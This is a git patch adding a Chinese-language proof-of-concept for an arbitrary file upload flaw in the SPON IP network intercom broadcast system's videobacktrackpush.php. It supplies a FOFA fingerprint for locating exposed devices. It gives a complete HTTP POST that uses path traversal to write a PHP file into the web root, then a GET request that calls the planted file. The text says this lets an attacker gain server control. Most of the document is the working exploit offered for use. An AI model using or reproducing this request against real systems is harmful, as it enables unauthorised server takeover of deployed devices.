From debc748e7d8136deb9df2f4b41027963e03e6da2 Mon Sep 17 00:00:00 2001 From: Rainyseason <73454853+Rainyseason-c@users.noreply.github.com> Date: Mon, 21 Apr 2025 10:18:37 +0800 Subject: [PATCH] =?UTF-8?q?Create=20=E4=B8=96=E9=82=A6=E9=80=9A=E4=BF=A1SP?= =?UTF-8?q?ON-IP=E7=BD=91=E7=BB=9C=E5=AF=B9=E8=AE=B2=E5=B9=BF=E6=92=AD?= =?UTF-8?q?=E7=B3=BB=E7=BB=9Fvideobacktrackpush.php=E4=BB=BB=E6=84=8F?= =?UTF-8?q?=E6=96=87=E4=BB=B6=E4=B8=8A=E4=BC=A0=E6=BC=8F=E6=B4=9E.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...讲广播系统videobacktrackpush.php任意文件上传漏洞.md | 39 +++++++++++++++++++ 1 file changed, 39 insertions(+) create mode 100644 wpoc/世邦通信/世邦通信SPON-IP网络对讲广播系统videobacktrackpush.php任意文件上传漏洞.md diff --git a/wpoc/世邦通信/世邦通信SPON-IP网络对讲广播系统videobacktrackpush.php任意文件上传漏洞.md b/wpoc/世邦通信/世邦通信SPON-IP网络对讲广播系统videobacktrackpush.php任意文件上传漏洞.md new file mode 100644 index 0000000..1e014a3 --- /dev/null +++ b/wpoc/世邦通信/世邦通信SPON-IP网络对讲广播系统videobacktrackpush.php任意文件上传漏洞.md @@ -0,0 +1,39 @@ +## 世邦通信SPON-IP网络对讲广播系统videobacktrackpush.php任意文件上传漏洞 + +世邦通信 SPON IP网络对讲广播系统 videobacktrackpush.php 存在任意文件上传漏洞，攻击者可以通过漏洞上传任意文件甚至木马文件，从而获取服务器权限。 + +## fofa + +``` +icon_hash="-1830859634" +``` + +## poc + +``` +POST /php/videobacktrackpush.php HTTP/1.1 +Host: +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 +Content-Length: 142 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 +Accept-Encoding: gzip, deflate, br +Accept-Language: zh-CN,zh;q=0.9 +Cache-Control: max-age=0 +Connection: keep-alive +Content-Type: application/x-www-form-urlencoded +Upgrade-Insecure-Requests: 1 + +jsondata[caller]=1&jsondata[callee]=../../../../../../ICPAS/Wnmp/WWW&jsondata[videoname]=1_2_3.php&jsondata[videocontent]=PD9waHAgZWNobyAxMjM7 +``` +访问地址 +``` +GET /1_2_3.php HTTP/1.1 +Host: +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 +Accept-Encoding: gzip, deflate, br +Accept-Language: zh-CN,zh;q=0.9 +Cache-Control: max-age=0 +Connection: keep-alive +Upgrade-Insecure-Requests: 1 +```